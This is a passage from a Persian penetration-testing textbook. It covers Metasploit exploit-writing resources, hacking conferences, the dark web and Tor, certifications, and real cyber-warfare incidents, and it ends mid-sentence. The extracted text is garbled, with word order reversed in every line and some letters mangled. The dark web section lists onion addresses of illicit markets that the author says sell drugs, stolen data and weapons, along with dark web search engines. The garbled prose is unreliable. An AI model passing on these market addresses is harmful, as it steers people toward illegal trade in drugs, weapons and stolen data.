
 خودتان Metasploit های اکسپلویت نوشتن برای Ruby نویسی تاسکریپ کاربرد فصل این در
 از اند شده نوشته Ruby در که را مختلف اسکریپت سه ما فصل این در .است شده معرفی
 آماده ،شوید مسلط ها آن بر و کرده مطالعه را ها Ruby این دقت با اگر .کردیم بررسی نزدیک
 .بود خواهید خودتان های اسکریپت نوشتن
 هدا  آن بندابراین  ،شدود  مدی  توزیدع  Rapid7 توسط Metasploit که باشید داشته خاطر به چنینهم
 این ادامه به تمایل صورت در .هستند Metasploit مورد در قطعی اطلاعات برای آشکاری منبع
 زیر است. لینک در خوبی بسیار منابع دارای Offensive Security سایت وب ،فصل

/https://www.offensivesecurity.com/metasploit-unleashed/building-module 

 دارد: وجود زیر لینک در خوبی منبع ،حمله امنیت بابت ،همچنین 
/https://www.offensive-security.com/metasploitunleashed/writing-an-exploit 

  :دارد وجود اکسپلویت نوشتن برای آنلاین ویکی یک حتی 
.https://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit 

https://www.offensive-security.com/metasploitunleashed/writing-an-exploit/
https://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit
https://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit
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 فصل اهداف

 :بود دیخواه قادر فصل، نیا خواندن زا پس
 کنید. دریافت اضافی اطلاعات توانید می کجا از اینکه درک 
 تاریک وب هدایت (Dark web)  
 کردن هک یا نفوذ تست جامعه در هرشخصی که باشد می کلیدی دانشی بر مروری فصل این
 فصول در خلاصه طور هب ،ها گواهینامه به مربوط دانش مانند ،اطلاعات از برخی .بداند باید
 dark مانند ،دیگر موضوعات .شود می بیان تری جامع صورت به اینجا در که شد بیان قبلی

web، های انجمن در مطالب همه با هرشخصی باید .گیرد می قرار بررسی مورد فصل این در 
 .باشد آشنا نفوذ تست یا هک
 این .است DEF CON مه هنوز کنفرانس معتبرترین و ترین قدیمی ،کردن هک برای

 را افراد گروه ترین متنوع کنفرانس این شود.در می برگزار که باشد می سال 27 تقریبا کنفرانس
 جامعه اعضای ،امنیتی متخصصان ،قانون مجری ،hardcore هکرهای .کرد خواهید ملاقات
 باشند می یکسانی هدف دارای ها آن همه .دارند وجود اینترنتی مجرم تعدادی حتی و اطلاعاتی

 آن بودن گسترده و بودن بزرگ بسیار DEF CON مشکل تنها .است یادگیری موضوع که
 .کنید مشاهده را خواهید می که را آنچه هر توانید نمی دلیل همین به ،باشد می

 بزرگ نسبتاً (Black Hatسیاه) کلاه.شود می برگزار بسیاری هک های کنفرانس امروزه
 این دوی هر و شد می برگزار DEF CON از قبل درست .دارد بیخو بسیار شهرت و ،باشد می

 دقیق سفر ریزی برنامه یک با توانید می ،بنابراین .شوند می برگزار وگاس لاس در ها کنفرانس
 کنفرانس دو Black Hat و DEF CON .کنید شرکت کنفرانس دو درهر وگاس لاس به

 این از یکی در باید ،خود حرفه از ای دوره در .هستند "must attend "نوع از حضوری
 جهان سراسر در که هک دیگر های کنفرانس از بسیاری ،حال این با .کنید شرکت ها کنفرانس

  .دارد وجود ،هستند ظهور حال در
 این که است سالی چند .کند می بیشتری تبلیغات به شروع ShmooCon حاضر حال در

 جالبی کنفرانس اما نیست شده شناخته DEF CON اندازه به اگرچه شود، می برگزار کنفرانس
 .باشد می
 به امنیت کنفرانس ترین شده شناخته احتمالاً ISC2 امنیتی کنگره ،امنیت ای حرفه جنبه نظر از
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 در ها سخنرانی از ای گسترده طیف و گردد می برگزار شهری در ساله هر که آید می حساب
 علاقه که کنید انتخاب را مباحثی توانید می که دارد وجود امنیت مختلف موضوعات مورد
 .باشید داشته موضوع آن به بیشتری

SecureWorld چندین در ساله هر و هستند تری کوچک های کنفرانس اما بوده توجه مورد نیز 
 تر راحت امنیتی متخصصان از بسیاری حضور شود می باعث شودکه می برگزار بزرگ شهر
 .کنید شرکت خود علاقه مورد جلسات در ISC2 مانند دتوانی می کنفرانس این در .باشد

 .شود می برگزار که مدتهاست و بوده توجه مورد بسیار نیز RSA کنفرانس
 وجود دیگری موارد مطمئناً .هستند ها کنفرانس مشهورترین از ای نمونه شد ذکر که هایی دوره
 نبودن یا بودن "خوب" بیارزیا نحوه .آیند می حساب به خوبی بسیار های کنفرانس که دارد
 .دارد بستگی کنفرانس در شما یادگیری میزان به صرفاً کنفرانس یک
 

  (Dark Web) تاریک وب

 بدین مورد اولین .باشد می نفوذ تست برای حیاتی موضوعی ،دلیل چند به ،تاریک وب
 دارد تاریک وب در موجود تخلفات و هک مورد در زیادی اطلاعات که باشد می صورت

 که باشد می صورت بدین دوم دلیل .باشد آشنا آن با باید نفوذ تست متخصص هر که
 که آنجا از .هستند ها شرکت از شده سرقت های داده مجرای اغلب تاریک وب بازارهای
 تاریک وب در اطلاعات ردیابی نحوه درباره دانش ،است شبکه امنیت مورد در نفوذ تست
 .است مفید
 Dark Webمسیریابی طریق از فقط که باشد می ینترنتا از ای منطقه Onion دسترسی قابل 

 پرقدرت پروکسی سرورهای طریق از جهان سراسر در را ها بسته اساساً Onion مسیریابی .است
 تواند می فقط پروکسی هر و است شده رمزگذاری لایه چندین با بسته هر .کند می مسیریابی
 در را ای بسته کسی اگر .کند ارسال بعدی پروکسی به را بسته و کند رمزگشایی را لایه یک
 تعیین را بعدی پروکسی و قبلی پروکسی تواند می فقط ،کند رهگیری پروکسی دو بین انتقال
 را واقعی مقصد یا مبدا توانید نمی ،است شده داده نشان 17-1 شکل در که طور همان .کنید
 .کنید تعیین
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 TOR .17-1 شکل

 عنوان به .نشود مشخص راحتی به شخص مکان که شود می موضوع ینا به منجر فوق وضعیت
 این در را کار این .کنم می استفاده Yahoo.com از بازدید برای TOR مرورگر از من ،مثال
 .کنید مشاهده را نتایج توانید می 17-2 شکل در .نشستم تگزاس ،Plano در مثلا کتاب

 

 
 17-2 شکل
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 زبان به را خود صفحه و هستم سوئد از من کند می فکر یاهو ،کنید می مشاهده که طور همان
 که دارد وجود زیادی دلایل .نیست غیرقانونی ذاتاً گمنامی این .دهد می ارائه من به سوئدی
 به افراد برخی .کند گذار و گشت اینترنت در ناشناس طور به بخواهد شخص دارد احتمال
 ها شرکت از بسیاری که است واضح و ،بگیرند قرار ردیابی تحت ندارند دوست سادگی
 همچنین TOR مرورگر ،حال این با .کنند می ردیابی بازاریابی اهداف برای را اینترنت ترافیک
 مردم که هستند وب در بازارهایی اینها .است شده تاریک وب مجاز غیر بازارهای ایجاد باعث

 رمزنگاری ارز یا کوین بیت با که هایی آیتم .فروشند می و خریداری را غیرقانونی کالاهای
 .است دشوار بسیار خریدهایشان ردیابی ،شده پرداخت مشابه شده
 بدین ،نفوذ تست جمله از ،امنیتی متخصصان برای مسئله این ،شد ذکر قبلاً که دلایلی از یکی

 بیشتر .باشد فروش برای تاریک وب در قبل از تواند می مشتریتان های داده که باشد می صورت
 نه شاید اما ،دهند نمی انجام را تاریک وب ممیزی یک امنیتی های ممیزی / نفوذ های ستت

 .شود انجام باید را کار این دور چندان
 بین از (AlphaBay و HANSA) قانون مجریان توسط Dark Web عمده بازار چند ،اخیراً
 مدت در ،فصل این نوشتن حین در مثال عنوان به اند، شده ظاهر دیگری بازارهای اما .است رفته
 مواد فروش سایت چندین یافتن و پرداختم وب تاریک بازارهای در جستجو به دقیقه 15

 .بود افتاده پا پیش امری غیره و گرم اسلحه ،مسروقه های داده ،مخدر
 دیگر برخی اند، رفته بین از قانون مجریان توسط برجسته بازارهای از برخی که حالی در

 هستند فعالیت بیشترین دارای بازارها از برخی ،کتاب این نگارش زمان از .ستنده فعال همچنان
 :از عبارتند که

The Dream Market: http://lchudifyeqm4ldjj.onion 
 Silk Road 3: http://silkroad7rn2puhj.onion 

 Valhalla: http://silkkitiehdg5mug.onion 
 Grams: http://grams7enufi7jmdl.onion 

 Pushing Taboo: http://pushingtabu7itqj.onion 
 Wall Street: http://wallstyizjhkrvmj.onion/signup?ref=276 

 T Chka Market: http://pointgg344ghbo2s.onion 
 :شروع نقاط و جستجو موتورهای

  http://xmh57jrzrnw6insl.onion/: Torch جستجو موتور کی  
   https://hss3uro2hsxfogfq.onion.to جستجو موتور کی 

https://hss3uro2hsxfogfq.onion.to/
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 http://dirnxxdraygbifgc.onion: OnionDir یرکتوریدا Darwebsites  
http://kbhpodhnfxl3clb4.onion: Tor Search   جستجو موتور کی 

 http://ndj6p3asftxboa7j.onion: Tor Findجستجو موتور کی  
linkzbg4nwodgic.onion نکیل یاصل های ستیل فقط   

  jdpskjmg5kk4urv.onion کیتار وب های نکیل   
 ممکن ها آن از برخی .روند می بین از و آیند می بوجود ها سایت این که باشید داشته توجه باید
 از قبل .باشند افتاده کار از یا و نباشند فعال همچنین و فعال کتاب این خواندن زمان تا است
 .باشند می خطرناک ذاتاً که باشید داشته توجه باید ،تاریک وب در گذار و گشت به شروع
 به تاریک وب اما .باشد می خطرات سایر و بدافزار ،کلاهبرداری شامل سنتی وب ،مطمئناً
 به اکیداً ،تاریک وب در جستجو به شروع از قبل .دارد قرار خطراتی چنین معر  در سادگی
 .دهید انجام را زیر امنیتی اقدامات کنم می توصیه شما

 .هستند بدافزارها سایر و ویروس ،جاسوسی افزارهای نرم دارای ها سایت وب از بسیاری
 یک باید محیط آن .کرد ایجاد تاریک وب های فعالیت برای خاص محیط یک باید ،بنابراین
 هیچ که معنا بدان و باشد شده جدا میزبان عامل سیستم از کاملاً که باشد مجازی ماشین
 سیستم از ترجیحاً مجازی ماشین .باشد نداشته وجود ها پوشه یا بورد کلیپ از گذاری اشتراک
 فقط VM آن از ،درنتیجه و .کند دشوارتر را VM سد از عبور تا باشد میزبان از متفاوتی عامل
 اگر ،ترتیب این به .نباشد ریدیگ هدف هیچ و شود استفاده تاریک وب های فعالیت برای باید
 ،کند می کنترل را جاسوسی افزار نرم این که شخصی ،شود جاسوسی افزارهای نرم به آلوده

 .آورد نخواهد دست به محقق واقعی هویت مورد در اطلاعاتی
 سنتی تست همانند .باشد داشته وجود وب تاریک بازار در نفوذ تست است ممکن همچنین
 ابزاری خوشبختانه .شود می آغاز dark web سایت وب در ضعف نقاط فتنیا با کار این ،نفوذ
 http://ichidanv34wrx7m7.onion سایت وب .کنند می کمک کار این به که شده ایجاد
 سایت اب مشابه طور به سایت این .کند می ردیابی را ها  dark web در موجود ضعف نقاط

 های سایت وب در پذیری آسیب جستجوی موتور که ،کند می کار shodan.io مرسوم اینترنتی
 سایت وب هر در فر  پیش مقادیر جستجوی برای را ichidan 17-3 شکل .است عادی
 .دهد می نشان تاریک

http://ichidanv34wrx7m7.onion/
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 .ichidan جستجو 17-3 شکل

 

 شرکت آن های داده اگر .باشد نمعی سازمان امنیت از شما ارزیابی از بخشی باید کیتار وب
  .است بوده شرکت امنیت نقض از ،برسد فروش به تاریک وب در
 

  آموزش و گواهینامه صدور

 بحث صنعت های گواهینامه مورد در خلاصه طور به ،"نفوذ تست بر ای مقدمه" ،1 فصل در
 خواهیم دیگر دموار و تحصیلات ،ها گواهینامه ،آموزش های گزینه به بیشتر فصل این در .شد

 شما تمایل وضوح به کنید، می مطالعه را نفوذ تست زمینه در کتاب این که طور همان .پرداخت
 مطالعه را کتاب این ها کلاس از بعضی در است ممکن حتی .شود می مشخص یادگیری برای
 آن مداوم یادگیری که اید شده وارد ای حوزه به شما که شوم می متذکر ،حال این با .کنید

 کنیم؟ رسیدگی موضوعات این به چگونه .باشید یادگیری حال در دائما باید .است ضروری
 در دارید؟ را لازم دانش کافی اندازه به نفوذ تست در کار شروع برای شما آیا ،این بر علاوه
 .داد خواهم پاسخ سوالت این به بخش این
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 کنم می مشاهده ،ای دوره صورت به .کنیم شروع نفوذ تست برای لازم دانش بررسی با بیایید
 سایبری امنیت برای کلی طور به یا نفوذ تست برای رسمی آموزش که هستند مدعی مردم که
 بدون اصلاً یا (تاریخ مثلاً) ربط بی کاملاً درجه با شخصی به افرادی چنین و .باشد می ربط بی

 تجربه به توجه با .است کرده عمل خوب حرفه این در اتفاقاً که کرد خواهند اشاره مدرک
 .کنم نمی قبول را موضوع این خودم
 زمینه در شغل است ممکن ندارند کامپیوتری جامع علمی سابقه هیچ که افرادی ،کلی طور به

 قابل خلأهای خود دانش در اما ،دهند می انجام نیز نفوذ تست حتی ،باشند داشته سایبری امنیت
 کامپیوتری آموزشهای از برخی با توان می که علمی های خلا این و .داشت خواهند توجهی
 سایبری امنیت مورد در اساسی دانش یک به ،سایبری امنیت در موفقیت برای .شود پر پایدار
 های زبان از برخی و کامپیوتر های عامل سیستم ،ها شبکه کار نحوه مورد در که دارید نیاز
 .باشد بیشتر باید حتی دانش این،وذنف تست برای .باشید داشته کافی اطلاعات نویسی برنامه
 تری گسترده های مهارت مجموعه به نیاز ،امنیت در شدن واقع مؤثر برای که است این واقعیت
 ،هستید Oracle DBA یک شما اگر .باشید داشته اطلاعات فناوری های حوزه سایر به نسبت
 واقعاً باید پس ،هستید ویسن برنامه یک اگر .کنید درک و بشناسید را Oracle باید فقط واقعاً

C احتمالاً و Assembly در کافی دانش باید ،کنید می فعالیت امنیت در اگر اما .بشناسید را 
 همچنین و غیره و عامل سیستم ،داده پایگاه ،نویسی برنامه زبان دو یا یک حداقل ،شبکه زمینه
 .باشید داشته غیره و ،ذنفو تست های تکنیک ،ها روش ،استانداردها مانند امنیت خاص دانش
 بسیار حرفه یک این .ندارند گوناگونی دانش فقط امنیت متخصصان از بسیاری ،بگویم صادقانه
 با مقایسه در سایبری امنیت از استفاده .دارد بالایی بسیار استاندارد به نیاز که است سخگیرانه
 صحیحش نجاما .نیست غیره و پا متخصص پزشک ،خانوادگی پزشک یک مانند ،پزشکان
 آموزش چه) دارند نیاز بیشتری آموزش به که است جراحی تخصصی های رشته شبیه بیشتر
 . (مداوم صورت به چه و ابتدایی
 مدرک که هستند افرادی (اطلاعات فناوری در کلی بطور و) سایبری امنیت در افرادی مطمئناً
 انجام را کار این که باشد می سال 30 حدود ،وجود این با اما.ندارند را مربوطه تحصیلی
 :شوند می تقسیم زیر دسته دو از یکی به افراد این تجربه به توجه با اند، داده
 "کامپیوتر شیطانcomputer nerd" باشد نداشته کامپیوتری مدرک دارد احتمال فرد این، 
 است کنمم فرد این اند. داشته کار و سر غیره و نویسی برنامه ،ها کامپیوتر با کودکی از اما
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 فقدان اند. پرداخته کامپیوتر علوم کتاب مطالعه به بیشتر اما ،باشد نداشته کامپیوتری مدرک
 جبران کامپیوتر علوم مباحث و موضوعات در شدن غرق عمر یک با ها آن رسمی آموزش

 .شود می
 مدارک با هستند افرادی اغلب .نیستند خوب کنند می فکر که آنطور سادگی به دوم گروه 
 در افراد این از بسیاری .هستند سال10 بالای تجربه با ولی ،مدرکی گونه هیچ نداشتن یا ربط بی
 جاوا نویسی برنامه است ممکن ها آن .کنند می عمل خوب بسیار محدود بسیار های مهارت زمینه
 سایر و ها داده ساختار ،الگوریتم طراحی ،CPU معماری واقع در اما ،بشناسند خوبی به را

 .کنند نمی درک گرفتند می یاد باید رسمی آموزش با که را یمباحث
 ،کامپیوتر علوم) کامپیوتر به مربوط ساله چهار مدرک دارای فرد ،آل ایده حالت در

 ،نویسی برنامه مطالعه به ملزم را شما که است (غیره و مهندسی ،کامپیوتر اطلاعاتی های سیستم
 و کرده شروع باید ،دارید را دانش کمبود این گرا .کند می اساسی مباحث سایر و سازی شبکه
 .باشید ها آن اصلاح دنبال به و داشته خود دانش در شکافی چه که کنید بررسی
 امنیت جزئیات تواند می سپس ،آورد دست به را اساسی و ای پایه تحصیلات فرد که هنگامی
 بیایید .هستند مفید بسیار 1 لفص در شده بحث های گواهینامه ،راستا این در .بیاموزد را سایبری
 از یک هر که آنچه به نگاهی با را (جدید های گواهینامه از برخی و) ها گواهینامه این از برخی
 :کنیم مرور کند می کمک دادن پوشش برای موارد این
 دانش به ،سایبری امنیت از ای جنبه هر در کار برای : (General knowledge) عمومی دانش
 و ISC2 CISSP آزمون .دارید نیاز امنیتی مباحث از ای گسترده طیف ردمو در عمومی

CompTIA Security + گسترده دلیل به دو هر .هستند امنیتی مباحث ارائه دنبال به دو هر 
 .باشند می مفید دلیل همین به دقیقاً من نظر به اما اند، گرفته قرار انتقاد مورد عمق فقدان و بودن
 هیچ .دهد می را سایبری امنیت اصول عمومی درک برای لازم دانش شما به اینها از یک هر
 شما به ولی ،کند نمی تبدیل سایبری امنیت متخصص یک عنوان به را شما افراد این از یک
 های سیستم امنیت کتاب من منظور بدین .آورید دست به را اصلی اصول و بنیاد کنند می کمک

 CISSP Cert کتاب از برگرفته که را باشد می CISSP آزمون کامل مرجع که اطلاعاتی

Guide نینخست درواقع که ،کردم ترجمه را است لانیم مک یترو و یآبرنات نیروب نوشته 
 موضاعات عمیق درک برای کتاب این ،باشد می یفارس زبان به CISSP کتاب کامل ترجمه
 یمعرف شامل شود می مطرح کتاب نیا در که یمهم های سرفصل .است شده طراحی اساسی
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 ،یتیامن های استیس ت،یریمد های تیاطلاعات،مسئول تیامن یتیریمد اقدامات و تیامن یکل
 و ها ستمی،سیتیامن یساز آگاه و سکیر تیریمد ها، تیمسئول و ها نقش اطلاعات، یبند طبقه

 و شبکه ارتباطات، تیامن ،یت،رمزنگاریامن یمعمار و ی،طراحیدسترس کنترل های یمتدولوژ
 مسائل یبررس (DRP) حوادث یابیباز طرح و (BCP) کار و کسب تداوم طرح نترنت،یا

 تیحاکم ،یکاربرد های برنامه و ها ستمیس توسعه تیامن ،یا انهیرا میجرا و یقانون و یحقوق
 است. یطیمح و یکیزیف تیامن سک،یر تیریمد و اطلاعات تیامن

 ترین قدیمی اخلاقی هکر گواهینامه : (Basic penetration testing) نفوذ بنیادی تست
 که دارد وجود آزمون این به نسبت زیادی انتقادات .است نفوذ تست / هک تست گواهینامه
 .باشد می آن درک عدم از ناشی انتقادها بیشتر ،حال این با باشد. می بحث قابل ها آن از برخی
CEH در را شما امر این .کرد نخواهد تبدیل نفوذ تست یا هک متخصص یک به را شما 
 این .داد خواهد قرار هک ابزارهای و ها تکنیک ،ها آوری فن از ای گسترده طیف معر 

 برای توان می را مورد همین .کند می فراهم نفوذ تست شروع برای مناسب پایه یک گواهینامه
 کتاب این .کرد بیان ،شده بحث "نفوذ تست بر ای مقدمه" ،1 فصل در که ای حرفه نفوذ تست
 مانند دیگری موضوعات روی بر اما گرفته، بر در را موضوعات همان خود خودی به

Metasploit است شده تر عمیق کمی. 
 در که (OCSE و OCSP) تهاجمی حمله های گواهینامه :نفوذ تست مورد در بیشتر اطلاعات
 به و خاص رطو به Metasploit مورد در شما دانش تقویت به کمک برای اند شده ذکر 1 فصل
 واقع در https://www.mile2.com های گواهینامه .باشد می مناسب بسیار نفوذ تست کلی طور
 از دشوارتر کدام هر که هستند هایی گواهینامه سطح دارای همچنین ها آن .هستند خوب بسیار

 در دیگر ایه گواهینامه از برخی اندازه به ها گواهینامه این گرچه .باشند می قبلی های گواهینامه
 از تر صرفه به مقرون و محبوب بسیار المللی بین سطح در اما ،نیستند شده شناخته متحده ایالات
 .هستند ها گواهینامه بیشتر

 سلسله صورت به کدام هر ها آن و دارند زیادی شهرت GPEN مانند SANS های گواهینامه
 از جدا .باشد می سنگین افراد از بسیاری برای ها آن هزینه ،حال این با .شوند می تر عمیق ،مراتبی

 طریق از که هستند کمی بسیار تعداد اکنون .دارد وجود نیز رسمی آموزش بحث ،ها گواهینامه
 سایبری امنیت رشته در الان همین است ممکن شما .هستند دسترس در دور راه از آموزش
 کتابهای از یکی آینده در است ممکن حتی کتاب این و کنید دنبال را تحصیلی مدرک
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 مقطع تا سایبری امنیتی مدارک که دارند وجود بسیاری های دانشگاه امروزه .باشد درسیتان
 مدرک داشتن با ،دیگری شغل و حرفه هر مانند ،که دارم عقیده بنده .دهند می ارائه دکترا
 زیادی دافرا حرفه این در مطمئناً .کرد خواهید خدمت خوبی به سایبری امنیت با مرتبط رسمی
 از حتی که باشند داشته خلأهایی خود دانش در است ممکن اما ،دارند وجود مدرک بدون
 .شود پر مناسب مدرک با آموزشی برنامه یک با توان می که هایی خلا ،نیستند آگاه ها آن

 تجربه سال 5 تا 3 با شخصی ،من نظر به .رساند می آل ایده نفوذ کننده تست به را ما فوق موارد
 2 آن دنبال به و (غیره و داده پایگاه مدیریت ،شبکه ،نویسی برنامه) اطلاعات فناوری ومیعم
 به مربوط مدرکی دارای حداقل فرد این ،آل ایده حالت در .باشد می آل ایده امنیت تجربه سال

 کنم می توصیه همچنین .است بهتر ،باشد سایبری امنیت زمینه در مدرک اگر و بوده کامپیوتر
 .باشید داشته را نفوذ تست گواهینامه یک و عمومی امنیت گواهینامه یک حداقل
 .کنند می محکوم را رسمی تحصیلات هم و ها گواهینامه هم که هستند زیادی افراد که دانم می
 که ای گواهینامه و مدرک که است شخصی با ها آن ملاقات از ناشی کلی طور به امر این

 را ماهری کاملاً شخص ها آن شاید یا دارد، باشند، داشته باید که آنچه از کمتری بسیار مهارت
 در یا وبلاگ یک در شخصی اوقات گاهی .شناسند می رسمی مدرک یا گواهینامه بدون

LinkedIn مانند های گواهینامه که کند می ارسال را پستی CISSP، GPEN، CEH بی غیره و 
 ادعا و ،کند می مطرح را گواهینامه یک شخص همان دیگر زمان در ،البته .باشد می فایده
 از بسیاری که واقعیت این زمینه با .است ارزش بار بسیار و بوده استاندارد گواهینامه این کند می

 ،دهند می ترجیح را ها گواهینامه از برخی داشتن یا دارند احتیاج ها گواهینامه از برخی به مشاغل
 .خیر یا دارد ارزش گواهینامه که ازیمبپرد مسئله این به تنهایی به دهید اجازه
 کارها این اغلب .کنیم شروع شخص یک مهارت اعتبارسنجی دیگر های گزینه بررسی با بیایید
 این که هرکسی .کنیم شروع رسمی آموزش با بیایید .شود می انجام تجربه یا رسمی آموزش با

 متفاوت بسیار ها کلاس که اندد می خوبی به ،کند می مطالعه طولانی زمانی مدت برای را کتاب
 بسیار تواند می استاد یک نظر زیر C ++ نویسی برنامه کلاس به ورود ،مثال عنوان به .است
 چگونه .باشد می جالب بسیار دیگر استاد با درس همان کلاس که حالی در ،باشد فرسا طاقت
 شود؟ مطلع شما های کلاس سختگیری میزان از مدرک داشتن به توجه با تواند می کارفرما یک
 برای که موضوعی از ای دهنده تکان طرز به که ایم کرده ملاقات مدرک دارای افراد با ما همه
 .بودند اطلاع بی دارند مدرک آن
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 در که مشکلی نیست؟ شخص یک مهارت ارزیابی واقعی استاندارد این آیا چیست؟ تجربه اما
 آموزش نظر از کیفیت در تجربه که است این ددار وجود استانداردتان تنها عنوان به مورد این

 یک عنوان به این اما ،باشید داشته نویسی برنامه تجربه سال 10 است ممکن .است متفاوت
 بسیار قطعه یک مسئول فقط شما آن در که ،بوده بزرگ بسیار تیم یک از کوچک بخش

 پیشرفت بدون .داشتید عهده بر را نگهداری و تعمیر نویسی برنامه فقط سپس و ،بودید کوچک
 سال 2 فقط دیگری شخص است ممکن .اساسی چالش بدون ،نوآورانه تفکر بدون ،جدید
 .است بوده مصر ،کشیدن چالش به جدید توسعه یک در اینها همه اما ،باشد داشته تجربه
 دارد؟ را تجربه این کسی چه واقعاً ،بنابراین
 متفاوت استاندارد ،دانشگاهی های دوره خلافبر ،اولاً چیست؟ ها گواهینامه صدور ،بنابراین
 مشابه غیره و وامارات هند ،اردن ،پی سی سی می ،آنجلس لس در CISSP آزمون .نیست
 در را دانش از خاصی سطح حداقل شما که دانیم می درواقع ،دارید گواهینامه یک اگر .است
 چه باید گواهینامه نگرفت برای که دانیم می دارید،و موضوعات از خاص مجموعه یک مورد
 .دادید می انجام کاری
 با را افرادی .نه قطعا باشد؟ می نهایی ها، گواهینامه داشتن بگوییم که است درست آیا ،حالا

 .است شده ها آن دریافت نحوه از شما تعجب باعث که کرد خواهید ملاقات هایی گواهینامه
 .دارند دیگر های نامه گواهی به سبتن بیشتری شایستگی ها گواهینامه از برخی که است واضح
 نهایی ،رسمی تحصیلات که گویم نمی همچنین کنم، نمی تقبیح را تجربه یا رسمی آموزش من
 تکان طرز به که ایم کرده ملاقات تکمیلی تحصیلات مدرک با را فردی ما همه .باشد می

 فایده بی ادعای که است این کنم می بیان سادگی به که آنچه .دارد کمی مهارت ای دهنده
 ،خود مهارت واقعی قضاوت برای نظرم به .باشد می پوچ صریحاً و اساس بی ها گواهینامه بودن
 باشد، می اهمیت دارای تجربه دارد، اهمیت رسمی تحصیلات کنید، بررسی را جوانب همه باید

 باید آل ایده نفوذ کننده تست کنم می فکر که است دلیل همین به .هستند مهم نیز ها گواهینامه
 .باشد داشته را شده مطرح ویژگی سه هر
 

  (Cyber Warfare and Terrorism) تروریسم و سایبری جنگ

 بین های درگیری بزرگ های جنبه از یکی به شدن تبدیل حال در سایبر که است این واقعیت
 از استفاده ،المللی بین تروریستی گروه یک یا باشد کشور یک خواه .است شده المللی
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 جدید قاعده یک عنوان به ها درگیری از بخشی عنوان به سایبری جاسوسی و سایبری حملات
 متحده الاتیا یمل تیامن رهبران از یمین بایتقر گفته به " ،2014 سال در ای مقاله طبق .است
 ترین یجد یبریسا جنگ ،که دادند مثبت پاسخ یدفاع اخبار یرهبر هیافتتاح ینظرسنج به که
 " است. متحده الاتیا دیتهد
 تست مورد در کتابی در ،مختصر چند هر ،موضوع این به پرداختن برای کننده قانع دلیل دو
 امنیت گسترده موضوع از ای زیرمجموعه نفوذ تست که است این مورد اولین .دارد وجود نفوذ

 یبریسا جنگ مسئله از حدودی تا حداقل باید سایبری امنیت متخصصان همه و .است سایبری
 یک دارد احتمال که های مکان از یکی که باشد می صورت بدین دوم دلیل .باشند آگاه
 از بسیاری ،حقیقت در .است دولتی سازمان یک ،باشد استخدام دنبال به نفوذ کننده تست
 در استفاده مورد های تکنیک همان کند می استفاده نفوذ کننده تست یک که هایی تکنیک
 .است سایبری جنگ
 پذیرتر آسیب فناوری آن به حملات برابر در ،شوند می وابسته فناوری به بیشتر ملتها چههر
 ،آشکار جنگ جمله از ،تر گسترده درگیری یک از بخشی تواند می سایبری حملات .شوند می
 بیشتر مجازی فضای در جاسوسی .باشد واقعی جنگ هرگونه از مستقل پایین سطح حملات یا
 با رانندگی جاسوسی هدف ،اید کرده مشاهده ها فیلم در آنچه خلاف بر .کند می پیدا معنا
 تکان شخص که نیست مخدر مواد از استفاده و الکلی مشروبات نوشیدن و مارتین استون
 بیشتر که شود می مطرح سوال این و .است اطلاعات آوردن دست به هدف بلکه .بخورد

 تحولی اینترنتی جاسوسی ،بنابراین .است کامپیوتری سیستم در جایی کجاست؟ اطلاعات
 .باشد می منطقی
 نشان را مسائل این که است داشته وجود نیز واقعی رخدادهای ،کلی عبارات این بر علاوه
 :است شده انجام واقعی رخدادهای از هایی نمونه خلاصه طور به زیر در .دهد می
 2008 سال در، CENTCOM افزار جاسوس به (spyware) درایو یک .شد آلوده USB در 
 عنوان به کرم این .بود مانده باقی آمریکا( متحده ایالت دفاع وزارت ) DoD مرکز یک

Agent.btz کرم از ای گونه ،است شده شناخته SillyFDC. 
 خطر به افغانستان در نظامی سرنشین بدون هواپیمای یک ویدئویی تصاویر ،2009 سال در 
 مشاهده را ویدیویی تصاویر توانستند می اما ،نبودند پهپاد نترلک به قادر حادثه این عاملان .افتاد
 .کنند
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 واقع در و کرد نفوذ متحده ایالات برق شبکه به سایبری حمله یک ،2009 سال در 
 روسیه و چین از حملات این .کنند مختل را برق داد می اجازه مهاجمان به که بود افزاری نرم

 و برق شرکت چندین و بود فراگیر متحده لاتایا سراسر در حملات این .گرفت صورت
 توسط حملات این بیشتر که بود این است کننده نگران آنچه .داد قرار تأثیر تحت را مناطق
 ایالات اطلاعاتی های آژانس توسط بلکه ،نشده کشف ها آن امنیتی های دپارتمان یا ها شرکت
 .شد کشف متحده
 دفاعی پنهانی های نقشه و شدند کامپیوتری های سیستم وارد هکرها ،2009 سال دسامبر در 

 این مسئول شمالی کره که زدند حدس مقامات .کردند سرقت را جنوبی کره و متحده ایالات
 کره نیروهای نظامی عملیات های برنامه از ای خلاصه شامل رفته سرقت به اطلاعات .است امر

 IP آدرس به حملات این هرچند ،بود شمالی کره با جنگ صورت در متحده ایالات و جنوبی
 .گشت می باز چین
 سایت وب ،نامند می پاکستان سایبری ارتش را خود که گروهی ،2010 دسامبر 4 تاریخ در 

 Central Bureau of) (CBI) تحقیقات مرکزی اداره ،هند تحقیقات برتر آژانس

Investigation) کردند هک را. 
 ویروس ،2012 سال در Flame هیچ .داد قرار هدف را ویندوز های عامل تمسیس و شد ظاهر 

 نخواهد کامل Flame مورد در بحث بدون جاسوسی و سایبری جنگ مورد در مدرنی بحث
 جاسوسی برای خاص طور به که باشد می صورت بدین ویروس این توجه قابل مورد اولین .بود

 ایران دولتی های ایتس جمله از مکان چندین در 2012 مه ماه در بار اولین .است شده طراحی
 سیستم از و کرده رصد را شبکه ترافیک تواند می که باشد می جاسوسی Flame .شد کشف
 افتاده خطر به دیجیتالی گواهی از که باشد می صورت بدین دوم مورد .بگیرد عکس آلوده
 کند. می استفاده

 ویروس ،2012 سال در Shamoon سال در گریدی نسخه بعداً و ،شد کشف بار اولین برای 
 را ها فایل اما ،کند می عمل افزار جاسوس یک عنوان به Shamoon .آمد بوجود دوباره 2017
 های ایستگاه به ویروس این .کند می حذف هدف از ،هدف روی (Upload) بارگذاری از پس
 Cutting عدالت شمشیر برش " نام به گروهی و کرد حمله سعودی عربستان آرامکو کاری

Sword of Justice " در امنیتی مقامات از تعدادی .گرفت عهده بر را حمله این مسئولیت 
 سیستمهای ویروس این ،نت استاکس مانند .دانند می حمله این مسئول را ایران سعودی، آرامکو
 .است کرده آلوده نظر مورد هدف از غیر را دیگری
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 از استفاده با متحده تایالا های سیستم هک به را روسیه متحده، ایالات ،2017 سال در 
 که کرد ادعا اسرائیل ،2017 سال پاییز در سپس .کرد متهم Kaspersky ویروس ضد محصول
